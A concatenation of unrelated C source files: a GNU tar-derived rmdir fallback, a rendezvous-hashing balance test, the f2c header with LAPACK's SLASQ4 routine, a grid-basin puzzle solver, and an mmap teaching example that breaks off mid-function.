/* rmdir adapted from GNU tar. */
/* Remove directory DPATH.
Return 0 if successful, -1 if not. */
int
rmdir (dpath)
char *dpath;
{
int cpid, status;
struct stat statbuf;
if (stat (dpath, &statbuf) != 0)
return -1; /* errno already set */
if (!S_ISDIR (statbuf.st_mode))
{
errno = ENOTDIR;
return -1;
}
cpid = fork ();
switch (cpid)
{
case -1: /* cannot fork */
return -1; /* errno already set */
case 0: /* child process */
execl ("/bin/rmdir", "rmdir", dpath, (char *) 0);
_exit (1);
default: /* parent process */
/* Wait for kid to finish. */
while (wait (&status) != cpid)
/* Do nothing. */ ;
if (status & 0xFFFF)
{
/* /bin/rmdir failed. */
errno = EIO;
return -1;
}
return 0;
}
}
|
the_stack_data/49189.c | #include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <assert.h>
#include <math.h>
//#include <blake2.h>
#define MAX(x, y) ((x) > (y) ? (x) : (y))
#define NODES 20
#define KEYS 16777216
#define CSKIP 1048576
__uint128_t hashes[NODES] = {0};
int count[NODES] = {0};
static inline int rendezvous (__uint128_t *pool, uint64_t id) {
register int x, bin = 0;
register __uint128_t max = 0, cache;
for (x = 0; x < NODES; x++) {
// blake2 ((void *) &cache, &pool[x], &id, sizeof (cache), sizeof (pool[x]), sizeof (id));
cache = pool[x] * ~id;
max = MAX (max, cache);
bin = max == cache ? x : bin;
}
return bin;
}
int main (int argc, char **argv) {
assert (fread (hashes, sizeof (hashes[0]), NODES, stdin) == NODES);
register int x, bin;
for (x = 0; x < KEYS; x++) {
bin = rendezvous (hashes, x);
count[bin]++;
if (!(x % CSKIP)) {fprintf (stdout, "%i\n", x);}
}
fputs ("\n\n\n\n\n\n\n\n", stdout);
float avg = (float) KEYS / (float) NODES;
float mad = 0;
for (x = 0; x < NODES; x++) {
fprintf (stdout, "Bin %i\t: %i\n", x, count[x]);
mad += abs ((float) count[x] - avg);
}
fputs ("\n\n\n\n\n\n\n\n", stdout);
fprintf (stdout, "avg: keys/bin\t= %f\n", avg);
mad /= (float) NODES;
fprintf (stdout, "mad: keys/bin\t= %f\n", mad);
float moa = mad / avg;
moa *= 100;
fprintf (stdout, "mad / avg\t= %05.2f %%\n", moa);
return 0;
}
|
the_stack_data/11076384.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b SLASQ4 computes an approximation to the smallest eigenvalue using values of d from the previous
transform. Used by sbdsqr. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download SLASQ4 + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/slasq4.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/slasq4.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/slasq4.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE SLASQ4( I0, N0, Z, PP, N0IN, DMIN, DMIN1, DMIN2, DN, */
/* DN1, DN2, TAU, TTYPE, G ) */
/* INTEGER I0, N0, N0IN, PP, TTYPE */
/* REAL DMIN, DMIN1, DMIN2, DN, DN1, DN2, G, TAU */
/* REAL Z( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > SLASQ4 computes an approximation TAU to the smallest eigenvalue */
/* > using values of d from the previous transform. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] I0 */
/* > \verbatim */
/* > I0 is INTEGER */
/* > First index. */
/* > \endverbatim */
/* > */
/* > \param[in] N0 */
/* > \verbatim */
/* > N0 is INTEGER */
/* > Last index. */
/* > \endverbatim */
/* > */
/* > \param[in] Z */
/* > \verbatim */
/* > Z is REAL array, dimension ( 4*N0 ) */
/* > Z holds the qd array. */
/* > \endverbatim */
/* > */
/* > \param[in] PP */
/* > \verbatim */
/* > PP is INTEGER */
/* > PP=0 for ping, PP=1 for pong. */
/* > \endverbatim */
/* > */
/* > \param[in] N0IN */
/* > \verbatim */
/* > N0IN is INTEGER */
/* > The value of N0 at start of EIGTEST. */
/* > \endverbatim */
/* > */
/* > \param[in] DMIN */
/* > \verbatim */
/* > DMIN is REAL */
/* > Minimum value of d. */
/* > \endverbatim */
/* > */
/* > \param[in] DMIN1 */
/* > \verbatim */
/* > DMIN1 is REAL */
/* > Minimum value of d, excluding D( N0 ). */
/* > \endverbatim */
/* > */
/* > \param[in] DMIN2 */
/* > \verbatim */
/* > DMIN2 is REAL */
/* > Minimum value of d, excluding D( N0 ) and D( N0-1 ). */
/* > \endverbatim */
/* > */
/* > \param[in] DN */
/* > \verbatim */
/* > DN is REAL */
/* > d(N) */
/* > \endverbatim */
/* > */
/* > \param[in] DN1 */
/* > \verbatim */
/* > DN1 is REAL */
/* > d(N-1) */
/* > \endverbatim */
/* > */
/* > \param[in] DN2 */
/* > \verbatim */
/* > DN2 is REAL */
/* > d(N-2) */
/* > \endverbatim */
/* > */
/* > \param[out] TAU */
/* > \verbatim */
/* > TAU is REAL */
/* > This is the shift. */
/* > \endverbatim */
/* > */
/* > \param[out] TTYPE */
/* > \verbatim */
/* > TTYPE is INTEGER */
/* > Shift type. */
/* > \endverbatim */
/* > */
/* > \param[in,out] G */
/* > \verbatim */
/* > G is REAL */
/* > G is passed as an argument in order to save its value between */
/* > calls to SLASQ4. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2016 */
/* > \ingroup auxOTHERcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > CNST1 = 9/16 */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int slasq4_(integer *i0, integer *n0, real *z__, integer *pp,
integer *n0in, real *dmin__, real *dmin1, real *dmin2, real *dn,
real *dn1, real *dn2, real *tau, integer *ttype, real *g)
{
/* System generated locals */
integer i__1;
real r__1, r__2;
/* Local variables */
real s, a2, b1, b2;
integer i4, nn, np;
real gam, gap1, gap2;
/* -- LAPACK computational routine (version 3.7.1) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2016 */
/* ===================================================================== */
/* A negative DMIN forces the shift to take that absolute value */
/* TTYPE records the type of shift. */
/* Parameter adjustments */
--z__;
/* Function Body */
if (*dmin__ <= 0.f) {
*tau = -(*dmin__);
*ttype = -1;
return 0;
}
nn = (*n0 << 2) + *pp;
if (*n0in == *n0) {
/* No eigenvalues deflated. */
if (*dmin__ == *dn || *dmin__ == *dn1) {
b1 = sqrt(z__[nn - 3]) * sqrt(z__[nn - 5]);
b2 = sqrt(z__[nn - 7]) * sqrt(z__[nn - 9]);
a2 = z__[nn - 7] + z__[nn - 5];
/* Cases 2 and 3. */
if (*dmin__ == *dn && *dmin1 == *dn1) {
gap2 = *dmin2 - a2 - *dmin2 * .25f;
if (gap2 > 0.f && gap2 > b2) {
gap1 = a2 - *dn - b2 / gap2 * b2;
} else {
gap1 = a2 - *dn - (b1 + b2);
}
if (gap1 > 0.f && gap1 > b1) {
/* Computing MAX */
r__1 = *dn - b1 / gap1 * b1, r__2 = *dmin__ * .5f;
s = f2cmax(r__1,r__2);
*ttype = -2;
} else {
s = 0.f;
if (*dn > b1) {
s = *dn - b1;
}
if (a2 > b1 + b2) {
/* Computing MIN */
r__1 = s, r__2 = a2 - (b1 + b2);
s = f2cmin(r__1,r__2);
}
/* Computing MAX */
r__1 = s, r__2 = *dmin__ * .333f;
s = f2cmax(r__1,r__2);
*ttype = -3;
}
} else {
/* Case 4. */
*ttype = -4;
s = *dmin__ * .25f;
if (*dmin__ == *dn) {
gam = *dn;
a2 = 0.f;
if (z__[nn - 5] > z__[nn - 7]) {
return 0;
}
b2 = z__[nn - 5] / z__[nn - 7];
np = nn - 9;
} else {
np = nn - (*pp << 1);
gam = *dn1;
if (z__[np - 4] > z__[np - 2]) {
return 0;
}
a2 = z__[np - 4] / z__[np - 2];
if (z__[nn - 9] > z__[nn - 11]) {
return 0;
}
b2 = z__[nn - 9] / z__[nn - 11];
np = nn - 13;
}
/* Approximate contribution to norm squared from I < NN-1. */
a2 += b2;
i__1 = (*i0 << 2) - 1 + *pp;
for (i4 = np; i4 >= i__1; i4 += -4) {
if (b2 == 0.f) {
goto L20;
}
b1 = b2;
if (z__[i4] > z__[i4 - 2]) {
return 0;
}
b2 *= z__[i4] / z__[i4 - 2];
a2 += b2;
if (f2cmax(b2,b1) * 100.f < a2 || .563f < a2) {
goto L20;
}
/* L10: */
}
L20:
a2 *= 1.05f;
/* Rayleigh quotient residual bound. */
if (a2 < .563f) {
s = gam * (1.f - sqrt(a2)) / (a2 + 1.f);
}
}
} else if (*dmin__ == *dn2) {
/* Case 5. */
*ttype = -5;
s = *dmin__ * .25f;
/* Compute contribution to norm squared from I > NN-2. */
np = nn - (*pp << 1);
b1 = z__[np - 2];
b2 = z__[np - 6];
gam = *dn2;
if (z__[np - 8] > b2 || z__[np - 4] > b1) {
return 0;
}
a2 = z__[np - 8] / b2 * (z__[np - 4] / b1 + 1.f);
/* Approximate contribution to norm squared from I < NN-2. */
if (*n0 - *i0 > 2) {
b2 = z__[nn - 13] / z__[nn - 15];
a2 += b2;
i__1 = (*i0 << 2) - 1 + *pp;
for (i4 = nn - 17; i4 >= i__1; i4 += -4) {
if (b2 == 0.f) {
goto L40;
}
b1 = b2;
if (z__[i4] > z__[i4 - 2]) {
return 0;
}
b2 *= z__[i4] / z__[i4 - 2];
a2 += b2;
if (f2cmax(b2,b1) * 100.f < a2 || .563f < a2) {
goto L40;
}
/* L30: */
}
L40:
a2 *= 1.05f;
}
if (a2 < .563f) {
s = gam * (1.f - sqrt(a2)) / (a2 + 1.f);
}
} else {
/* Case 6, no information to guide us. */
if (*ttype == -6) {
*g += (1.f - *g) * .333f;
} else if (*ttype == -18) {
*g = .083250000000000005f;
} else {
*g = .25f;
}
s = *g * *dmin__;
*ttype = -6;
}
} else if (*n0in == *n0 + 1) {
/* One eigenvalue just deflated. Use DMIN1, DN1 for DMIN and DN. */
if (*dmin1 == *dn1 && *dmin2 == *dn2) {
/* Cases 7 and 8. */
*ttype = -7;
s = *dmin1 * .333f;
if (z__[nn - 5] > z__[nn - 7]) {
return 0;
}
b1 = z__[nn - 5] / z__[nn - 7];
b2 = b1;
if (b2 == 0.f) {
goto L60;
}
i__1 = (*i0 << 2) - 1 + *pp;
for (i4 = (*n0 << 2) - 9 + *pp; i4 >= i__1; i4 += -4) {
a2 = b1;
if (z__[i4] > z__[i4 - 2]) {
return 0;
}
b1 *= z__[i4] / z__[i4 - 2];
b2 += b1;
if (f2cmax(b1,a2) * 100.f < b2) {
goto L60;
}
/* L50: */
}
L60:
b2 = sqrt(b2 * 1.05f);
/* Computing 2nd power */
r__1 = b2;
a2 = *dmin1 / (r__1 * r__1 + 1.f);
gap2 = *dmin2 * .5f - a2;
if (gap2 > 0.f && gap2 > b2 * a2) {
/* Computing MAX */
r__1 = s, r__2 = a2 * (1.f - a2 * 1.01f * (b2 / gap2) * b2);
s = f2cmax(r__1,r__2);
} else {
/* Computing MAX */
r__1 = s, r__2 = a2 * (1.f - b2 * 1.01f);
s = f2cmax(r__1,r__2);
*ttype = -8;
}
} else {
/* Case 9. */
s = *dmin1 * .25f;
if (*dmin1 == *dn1) {
s = *dmin1 * .5f;
}
*ttype = -9;
}
} else if (*n0in == *n0 + 2) {
/* Two eigenvalues deflated. Use DMIN2, DN2 for DMIN and DN. */
/* Cases 10 and 11. */
if (*dmin2 == *dn2 && z__[nn - 5] * 2.f < z__[nn - 7]) {
*ttype = -10;
s = *dmin2 * .333f;
if (z__[nn - 5] > z__[nn - 7]) {
return 0;
}
b1 = z__[nn - 5] / z__[nn - 7];
b2 = b1;
if (b2 == 0.f) {
goto L80;
}
i__1 = (*i0 << 2) - 1 + *pp;
for (i4 = (*n0 << 2) - 9 + *pp; i4 >= i__1; i4 += -4) {
if (z__[i4] > z__[i4 - 2]) {
return 0;
}
b1 *= z__[i4] / z__[i4 - 2];
b2 += b1;
if (b1 * 100.f < b2) {
goto L80;
}
/* L70: */
}
L80:
b2 = sqrt(b2 * 1.05f);
/* Computing 2nd power */
r__1 = b2;
a2 = *dmin2 / (r__1 * r__1 + 1.f);
gap2 = z__[nn - 7] + z__[nn - 9] - sqrt(z__[nn - 11]) * sqrt(z__[
nn - 9]) - a2;
if (gap2 > 0.f && gap2 > b2 * a2) {
/* Computing MAX */
r__1 = s, r__2 = a2 * (1.f - a2 * 1.01f * (b2 / gap2) * b2);
s = f2cmax(r__1,r__2);
} else {
/* Computing MAX */
r__1 = s, r__2 = a2 * (1.f - b2 * 1.01f);
s = f2cmax(r__1,r__2);
}
} else {
s = *dmin2 * .25f;
*ttype = -11;
}
} else if (*n0in > *n0 + 2) {
/* Case 12, more than two eigenvalues deflated. No information. */
s = 0.f;
*ttype = -12;
}
*tau = s;
return 0;
/* End of SLASQ4 */
} /* slasq4_ */
|
the_stack_data/148576925.c | #include <stdio.h>
#include <assert.h>
#include <string.h>
#define SWAP(x, y) { int SWAP = x; x = y; y = SWAP; };
#define W 100
#define H 100
char tiles[H][W + 1] = {0};
int isLower(int y, int x) {
char tile = tiles[y][x];
if (y > 0 && tiles[y - 1][x] <= tile) return 0; // top
if (x > 0 && tiles[y][x - 1] <= tile) return 0; // left
if (x < W - 1 && tiles[y][x + 1] <= tile) return 0; // right
if (y < H - 1 && tiles[y + 1][x] <= tile) return 0; // bottom
return 1;
}
int getBasin(int y, int x, int checked[W][H]) {
if (x < 0 || x >= W || y < 0 || y >= H) return 0;
if (tiles[y][x] == '9') return 0;
if (checked[y][x]) return 0;
int count = 1; // itself
checked[y][x] = 1;
count += getBasin(y - 1, x, checked);
count += getBasin(y + 1, x, checked);
count += getBasin(y, x - 1, checked);
count += getBasin(y, x + 1, checked);
return count;
}
int main(int argc, char *argv[]) {
assert(argc == 2 && "Must provide one argument => input.txt path");
printf("Input file: %s\n\n", argv[1]);
FILE *file = fopen(argv[1], "r");
char str[W];
int curr = 0;
while (fscanf(file, "%s", tiles[curr++]) == 1) { }
// Problem 1
{
int answer = 0;
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (isLower(y, x)) {
answer += tiles[y][x] + 1 - '0';
}
}
}
printf("Answer 1: %d\n", answer);
}
// Problem 2
{
int basins[3] = {0};
for (int y = 0; y < H; y++) {
for (int x = 0; x < W; x++) {
if (isLower(y, x)) {
int checked[W][H] = {0};
int basin = getBasin(y, x, checked);
if (basin > basins[2]) basins[2] = basin;
if (basins[2] > basins[1]) SWAP(basins[2], basins[1]);
if (basins[1] > basins[0]) SWAP(basins[1], basins[0]);
}
}
}
int answer = basins[0] * basins[1] * basins[2];
printf("Answer 2: %d\n", answer);
}
fclose(file);
return 0;
}
|
the_stack_data/20843.c | // Scott Kuhl
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#define FILENAME "mmap.temp"
void createFile(char *string)
{
FILE *fp = fopen(FILENAME, "w");
fprintf(fp, "%s", string);
fclose(fp);
}
void printFile()
{
FILE *fp = fopen(FILENAME, "r");
char buf[100];
if(fgets(buf, 100, fp) == NULL)
{
fprintf(stderr, "fgets() error\n");
exit(EXIT_FAILURE);
}
printf("file actually contains contains: %s\n", buf);
fclose(fp);
}
// File-backed, private example---read from file
void readExample()
{
createFile("hello world");
int fd = open(FILENAME, O_RDONLY);
size_t mmapLen = 15;
off_t offset = 0; // offset to seek to.
// We use MAP_PRIVATE since writes to the region of memory should
// not be written back to the file.
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ, MAP_PRIVATE,
fd, offset);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
// File isn't necessarily loaded into memory until we access the
// memory (causing a page fault to occur and making the kernel
// handle it).
printf("Should say hello world: %s\n", ptr);
// I don't think mmap() makes any guarantees to what bytes are
// past the end of the mmap(). But, on my machine they are
// initialized to zero.
for(unsigned int i=0; i<mmapLen; i++)
printf("ptr[%u] is: '%c' (or %d)\n", i, ptr[i], ptr[i]);
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
exit(EXIT_FAILURE);
}
close(fd);
}
// File-backed, private example---can write to mmapped memory, but won't be saved to file.
void readExampleChange()
{
createFile("hello world");
int fd = open(FILENAME, O_RDONLY);
size_t mmapLen = 15;
off_t offset = 0; // offset to seek to.
char *ptr = (char*) mmap(NULL, mmapLen,
PROT_READ|PROT_WRITE, MAP_PRIVATE,
fd, offset);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
printf("Should say hello world: %s\n", ptr);
// In this case (MAP_PRIVATE), writing to the area of memory will
// be allowed, but our changes aren't saved to the file itself.
ptr[0] = 'J';
printf("Should say Jello world: %s\n", ptr);
/* It is unspecified whether changes made to the file after the
* mmap() call are visible in the mapped region. */
createFile("hello WORLD");
printf("Undefined. Might say hello WORLD: %s\n", ptr);
if(munmap(ptr, mmapLen) == -1)
{
perror("munmap");
